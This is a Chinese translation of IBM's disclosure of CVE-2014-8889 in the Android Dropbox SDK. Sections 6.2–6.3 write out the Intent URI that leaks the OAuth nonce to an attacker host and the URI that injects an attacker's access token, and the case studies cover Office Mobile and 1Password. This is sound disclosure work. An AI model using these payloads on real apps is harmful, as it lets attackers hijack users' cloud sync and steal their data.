小荷才露尖尖角 · 2015/03/16 14:17
0x00 前言
本文是对IBM ISS安全团队对DropBox SDK漏洞详细分析的翻译。
原文见www.slideshare.net/ibmsecurity…
如今个人数据存储在云端,这使得像照片备份或通用存储那样的服务不仅可以被用户访问,也能被代表用户的app所访问。在许多方面,包括访问控制功能的app与服务之间的互操作总是具有挑战性的,为了解决访问控制来来的挑战,OAuth1和2等授权协议陆续被提出,它们可以安全地授予app访问特定服务中个人数据的权限,而又不泄露用户的个人凭据。为便于开发,这些服务通常为app提供一个框架或SDK,使app能够和服务进行通信。对于app开发者而言,SDK是具有吸引力的,因为其对内部细节进行了抽象,给开发者提供了简单的客户端API。从安全的角度来看,SDK则提供了极具吸引力的攻击面,因为其一旦出现可供利用的漏洞,可以影响大量使用该SDK的app。
本文介绍了Android Dropbox SDK 1.5.4-1.6.1版本中存在的一个严重漏洞(CVE-2014-8889),该漏洞使基于Dropbox SDK的app暴露于严重的本地和远程攻击。作为概念证明(POC),我们开发了针对包括Microsoft Office Mobile和1Password等流行app的远程攻击程序。我们负责任地将该漏洞报告给了Dropbox,Dropbox也及时提供了一个修复的SDK(1.6.2版)。在此,强烈建议开发者下载SDK并更新其app。
0x01 背景
Dropbox SDK是一个供开发者下载并用于其产品的库,它通过一组简单的API,提供了轻松使用Dropbox服务,如下载或上传文件等功能。
AppBrain的统计数据表明了在Android中使用Dropbox SDK的流行程度[1 ],在全部应用中,有0.31%使用了Dropbox SDK。而在Google Play前500的应用中,1.41%使用了Dropbox SDK。有趣的是,按照安装量统计,分别有总量的1.32%和前500应用安装量的3.93%使用了Dropbox SDK。
尽管Dropbox SDK不是一个高度流行的基础软件库,某些非常流行的Android app仍然使用Dropbox SDK持有敏感数据,包括拥有10,000,000下载量的[Microsoft Office Mobile](https:// https://play.google.com/store/apps/details?id=com.microsoft.office.officehub),以及拥有100,000下载量的AgileBits 1Password。
我们发现的这一漏洞影响使用Dropbox SDK 1.5.4-1.6.1版的所有Android app。我们分析了使用Android Dropbox SDK的41个app(它们使用了1.5.4-1.6.1版),其中有31个app(76%)能够被攻击成功)。需要注明的是,其余app仍然具有漏洞,可以被造成同样后果的更加简单的攻击所利用,只不过这些app没有升级到修复漏洞的1.5.4版1。
本文结构如下,第二章介绍了Android中跨应用通信(IAC)的背景,第三章介绍了IAC如何被恶意代码本地利用和远程drive-by攻击利用的技术,第四章描述了Dropbox SDK如何使用OAuth为Android app提供授权,第五章深入分析我们所发现的Android Dropbox SDK用于OAuth代码中的漏洞,第六章描述了我们称之为DROPPEDIN的利用该漏洞的真实攻击,第七章我们提供了反映真实威胁的案例,最后在第八章中我们提供了该漏洞的修复建议。
0x02 Android中的跨应用通信(IAC)
Android应用在沙箱环境中执行,沙箱确保应用数据的机密性和完整性,如果没有配置适当的权限,某一应用无法访问其他应用中的敏感信息。例如,Android Stock浏览器中的敏感信息,如cookie、缓存和历史记录,不会被第三方的app所访问。沙箱机制依赖于多种技术,包括基于应用的Linux user-id分配,因此在默认情况下,某一应用的资源(如文件),不会被其他应用所访问。尽管沙箱机制有利于安全,对于有时在app之间需要通信的场合,也牺牲了部分互操作性。回到前述Stock浏览器的例子,当用户使用浏览器访问到Google Play网址时,可能需要打开Google Play app,为了支持这种类型的互操作,Android提供了一种高层的跨应用通信(IAC)机制,通常使用了封装有关载荷和目标应用组件的信息、被称之为Intent的特殊消息。Intent可以是显式指定,此时必须明确指定目标应用组件,也可以隐式指定,此时目标应用无需明确指定,而由Android系统根据Intent参数中的URI scheme、action或category决定。
0x03 利用跨应用通信的攻击
如果攻击者可以控制Intent载荷,直接启动应用组件,那么攻击面将被拓宽,特别对于处于导出(exported)状态的应用组件。这些导出的一个用组件易于遭受恶意应用的本地攻击。负责UI屏幕的Android组件Activity也可以遭受远程的drive-by攻击技术,见[2,3]。
在本地攻击中,如图3.1所示,恶意应用通过恶意Intent(即包含恶意数据)启动导出的目标应用,这只需要简单的调用API,如Context.startActivity(intent)
图3.1 恶意应用的本地攻击
而在图3.2所示的远程drive-by攻击中,用户被欺骗浏览恶意网址,恶意网址的网页使浏览器发送恶意Intent,启动目标activity。2
图3.2 远程Drive-by攻击
0x04 OAuth与Dropbox
为了授权app使用一个指定的Dropbox账号,Dropbox SDK使用了OAuth协议,这个过程始于app在Dropbox网站的带外注册,接着app就可以从Dropbox收到app key和app secret,并将其硬编码于代码中。
然后app将在Android Manifest文件中导出Dropbox使用的AuthActivity,如下所示。
#!html
<activity android:name="com.dropbox.client2.android.AuthActivity" ...>
<intent-filter>
<data android:scheme="db-<APP_KEY >" />
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.BROWSABLE" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
复制代码
图4.1描述了Dropbox OAuth协议各方及通信过程,这一过程首先开始于app携带必须的数据(即app key和app secret)调用Dropbox SDK AndroidAuthSession
中的静态方法start{OAuth2}Authentication
,该方法使用一个Intent启动AuthActivity,接着AuthActivity产生一个nonce随机数,并再次通过一个Intent启动浏览器或者Dropbox app(如果已安装),对用户进行认证和对app进行授权。这一过程将使用到前面产生的nonce。浏览器或者Dropbox app将利用指向app唯一URI scheme(db-)的隐式Intent,返回携带附加数据(如uid)的access token、secret和nonce。这将导致AuthAcitivity的OnNewIntent
方法被调用,该方法会检查输入的nonce是否与输出的nonce一致。如果一致,它将接受token,并存储于其result
静态变量中。token将在Dropbox会话中保存,用于接下来的Dropbox SDK调用。
图4.1 Dropbox OAuth认证
该过程存在两个主要的威胁。首先,返回的OAuth access token可能被窃取,这将允许攻击者访问授权的Dropbox资源。恶意应用通过注册类似的Intent filter,就可以假冒app实施这种攻击。然而由于Dropbox SDK可以检查是否有别的应用注册相同的Intent filter,因此这种威胁带来的风险就已经缓解了。其次,攻击者可以注入自己的access token,这将导致app连接到攻击者的账户,从而在非授权的情况下上传敏感数据给攻击者,或者下载数据以进一步实施其他的攻击。由于nonce 参数的存在(在1.5.4版中引入),这种威胁带来的风险也已经缓解。然而,具体实现仍然存在一个漏洞,攻击者可以主动地令Dropbox SDK泄露nonce参数到攻击者控制的服务器,我们将在下一章中予以叙述。
0x05 漏洞分析
我们发现的一个漏洞,被标识为CVE-2014-8889,使攻击者可以在Dropbox SDK的AuthActivity中注入一个任意的access token,完全绕过nonce的保护。
AuthAcitivity接受几种不同的Intent extra参数,作为一个exported和browasable的activity(如第四章所述,必须),它可以被携带任意Intent extra参数(见第三章)的本地恶意应用和远程恶意网站所启动,因此在使用这些Intent extra参数时必须格外小心。
然而,一个名为INTERNAL_WEB_HOST的Intent extra参数却可以被攻击者所控制,从而带来破坏性的影响。当浏览器用于认证用户和授权app使用时(Dropbox app未安装的情况),这个参数最终控制了用户浏览器访问的地址,如附录A,startWebAuth方法被AuthActivity的OnResume回调方法(在Intent启动Activity后调用)所调用。因此,如果攻击者可以针对该activity生成一个Intent,并将其INTERNAL_WEB_HOST extra指向自己控制的服务器,那么在认证过程中的nonce将发送给攻击者的服务器!
0x06 DROPPEDIN 攻击
对本地和远程(drive-by)攻击,我们都予以了实现。这两种攻击都要求被攻击设备不能安装Dropbox app,并要求攻击者预先以一种带外的方式获得access token(ACCESS_TOKEN_KEY, ACCESS_TOKEN_SECRET),以及与其账户和被攻击app相关的uid。这一步很容易,因为攻击者可以简单地下载被攻击app到自己的设备上,授权自己的Dropbox账号使用,并记录返回的access token对。如图6.1,远程攻击分四个步骤,本地攻击也与此类似,但要求被攻击设备上安装恶意应用。
图6.1 Droppedin 攻击
6.1 自然的网页浏览
受害者访问了攻击者完全控制的恶意网站,或者被攻击者利用漏洞(如XSS)植入恶意代码的网站。
6.2 主动的Nonce泄露
恶意代码携带特别的Intent参数,使用户的浏览器启动被攻击的app,并使随后的OAuth过程与攻击者所控制的服务器间进行,而不是正常的https://www.dropbox.com
。这一步骤使攻击者获得nonce。通过简单的HTTP重定向到以下代码就可以实现: Intent:#Intent;scheme=db-<APP_KEY>; S.EXTRA_INTERNAL_WEB_HOST=; S.EXTRA_INTERNAL_APP_KEY=foo; S.EXTRA_INTERNAL_APP_SECRET=bar; end
截至本文写作时,大多数的流行浏览器都支持上述这种Intent URI scheme机制的隐式Intent。
6.3 Auth Access Token注入
上述Intent将最终使浏览器访问https://attacker:443/1/connect
(并在GET参数中携带nonce),这要求攻击者拥有自己的SSL证书,但这也很容易。获取nonce后,攻击者就可以通过另一个HTTP重定向到以下代码,注入自己预先产生的access token到app中。
db-<APP_KEY>://1/connect?oauth_token_secret=<ACCESS_TOKEN_SECRET>
&oauth_token=<ACCESS_TOKEN_KEY>
&uid=<UID>
&state=<NONCE>
复制代码
如果access token被成功注入,将保存在AuthActivity.result
中。
6.4 App使用OAuth Access Token
至此,AuthActivity的静态成员变量result就包含了攻击者的token。其余就是被攻击app如何使用这些数据了,这取决于开发者。
不排除有别的情况存在,但总体而言,客户端(app)代码将在其中一个Activity的onCreate方法或者在用户点击某些按钮时发起认证过程。接下来就是检查认证是否成功,并在其onResume方法中将token用于Dropbox会话。
攻击得以成功关键的一点在于,onCreate和onResume方法依次调用(见[4,6])。这表明,攻击者一旦在app的activity呈现之前注入他的access token,这个access token就会在用户输入自己的凭据之前使用,见第7章的具体案例分析。
0x07 案例研究
7.1 Mircrosoft Office Mobile:注入并添加新的连接3
Microsoft Office Mobile app允许用户将自己的文档上传至云中,且支持多个Dropbox账户。
在该案例中,正常情况下下列步骤将按如下顺序执行:
1.用户添加Dropbox账号,这将启动负责Dropbox认证的activity。 2.activity的onCreate方法调用SDK AndroidAuthSession中的startOAuth2Authentication方法。 3.接着调用acitivity的onResume方法,通过AndroidAuthSession的authenticationSuccessful方法检查认证是否成功,后者返回一个负值。 4.用户通过浏览器登录Dropbox认证,并授权app使用自己的账户。 5.activity的onResume方法再次调用,此时authenticationSuccessful将返回正值。token将从AuthActivity拷贝到session对象,供app使用。通过调用Activity.finish方法销毁activity. 6.账户被添加到app中。
该过程可遭受如下的攻击。在第一步之前,攻击者通过漏洞注入自己的token。用户接着添加一个新的Dropbox账号,正常情况下他将被引到Dropbox的官网,然而第三步在可以在未经用户同意的情况下在后台发生,authentication方法将调用成功,攻击者的token被拷贝到session对象,然后activity被销毁,甚至都第五步都不会进行。因此,即使用户输入的是自己的认证凭据,却使用了攻击者的token,使攻击无缝发生。
7.2 1Password: 在初次连接之前注入
1Password app属于口令管理app(如KeyPass),使用Dropbox SDK将用户的vault(密钥库)同步至Dropbox。该app支持使用一个Dropbox账号将本地的密钥库同步至Dropbox。将密钥库上传给攻击者的账号将带来灾难性的影响——攻击者可以进行离线破解,如果使用弱的主保护口令(这仍然是一个常见问题 [5,7]),攻击者可以在可行的时间内破解成功。此外,为了获得主保护口令,攻击者还可以实施钓鱼攻击。
与7.1节类似,当用户决定同步时如下步骤按序发生:
1.用户点击“同步到Dropbox”按钮,启动负责Dropbox认证的activity。 2.activity的onCreate方法通过AndroidAuthSession.isLinked()
方法检查自己是否被连接。如果没有,则调用AndroidAuthSession的startAuthentication方法。
3.接着调用activity的onResume方法,并再次调用AndroidAuthSession.isLinked()
。如果返回false,则通过AnroidAuthSession.authenticationSucessful()
方法检查认证是否成功,后者将返回一个负值。
4.用户通过浏览器登录Dropbox认证,并授权app使用自己的账户。
5.activity的onResume方法被调用,AndroidAuthSession.isLinked()
再次返回false。然而,此时authenticationSuccessful()
方法将返回一个正值。app接着调用finishAuthentication将token拷贝到session对象(这将导致isLinked方法返回true),于是app使用该token。
6.同步过程开始。
该过程可遭受如下的攻击。在第一步之前,攻击者可以利用漏洞注入自己的token。用户接着同步自己的账户,正常情况下他将被引到Dropbox的官网,然而第三步在可以在未经用户同意的情况下在后台发生,authentication方法将调用成功,攻击者的token被拷贝到session对象,导致第五步的isLinked方法返回true。因此,即使用户输入的是自己的认证凭据,却使用了攻击者的token,使攻击无缝发生。
7.3 DBRoulette: 注入并再次连接
DBRoulette app与Dropbox SDK打包在一起,作为一个示例应用。它是一个具有基本功能的app,对用户进行认证,并从用户的Dropbox照片文件夹中随机加载一张照片。在主activity DBRoulette中,onResume方法只是简单的覆盖预先存储的认证凭据,这意味着即使Dropbox账号已经连接到DBRoulette,攻击者的账号仍然可以使用。此外,DBRoulette调用Dropbox SDK认证方法的代码位于一个导出的activity中,攻击者可以启动该activity,从而实施完全自动化的攻击。图7.1描述了一次成功的攻击,攻击者账号中的本文作者手指照片,而非受害用户自己的照片,出现在DBRoulette中。
图7.1 被攻击的DBRoulette
0x08 修复
Android Dropbox SDK 1.6.2版已经发布,包含了对该漏洞的修补。Dropbox SDK的AuthActivity方法也不再接受输入Intent的extra参数,这就使攻击者无法通过可控的Dropbox SDK通信的服务器地址来获得nonce。强烈建议开发者将其使用的Dropbox SDK更新到最新版本。为了避免没有更新SDK的app被该漏洞利用,终端用户可以安装Dropbox app使攻击失效。
0x09 披露时间
2014.12.1 - 漏洞报告给厂商。
2014.12.1 - 厂商确认,开始编写补丁。
2014.12.5 - 补丁可用(Android Dropbox SDK 1.6.2版)
2015.3.11 - 公开披露。
复制代码
0x10 致谢
Dropbox对安全威胁的响应令人印象深刻,我们向Dropbox报告了该问题,仅仅在6分钟后就得到了回应,24小时之内漏洞得到了确认,4天后补丁可用。我们感谢Dropbox团队,这是我们所见到过的最快补丁,无疑他们对于用户的安全是负责任的。
参考文献
1.AppBrain. Dropbox API - Android library statistics. http://www.appbrain.com/stats/libraries/ details/dropbox_api/dropbox-api.
2.Takeshi Terada. Attacking Android browsers via intent scheme URLs. 2014. http://www.mbsd.jp/ Whitepaper/IntentScheme.pdf.
3.Roee Hay & David Kaplan. Remote exploitation of the cordova framework. 2014. http://www. slideshare.net/ibmsecurity/remote-exploitation-of-the-cordova-framework.
4.Android. Activity. http://developer.android.com/reference/android/app/Activity.html.
5.Trustwave. 2014 business password analysis, 2014. https://gsr.trustwave.com/topics/ business-password-analysis/2014-business-password-analysis/.
附录A:具有漏洞的Dropbox SDK 代码
code:
protected void onCreate(Bundle savedInstanceState) { ... Intent intent = getIntent(); ... webHost = intent.getStringExtra(EXTRA\_INTERNAL\_WEB\_HOST); if (null == webHost) { webHost = DEFAULT\_WEB_HOST; } ... }
protected void onResume() {
...
String state = createStateNonce();
...
if (hasDropboxApp(officialIntent)) {
startActivity(officialIntent);
}
else {
startWebAuth(state);
}
...
authStateNonce = state;
}
private void startWebAuth(String state)
{
String path = "/connect";
Locale locale = Locale.getDefault();
String[] params = {
"locale", locale.getLanguage()+"_"+locale.getCountry(),
"k", appKey,
"s", getConsumerSig(),
"api", apiType,
"state", state};
String url = RESTUtility.buildURL(webHost, DropboxAPI.VERSION, path, params);
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
startActivity(intent);
}
复制代码
从上下文来看,这一漏洞不是指本文分析的CVE-2014-8889 ↩
这种攻击技术参见Intent scheme URL attack ↩
从文中内容看,作者使用Link(连接)这一术语说明app与某一Dropbox账号建立关系,即app使用该账号访问Dropbox的服务。 ↩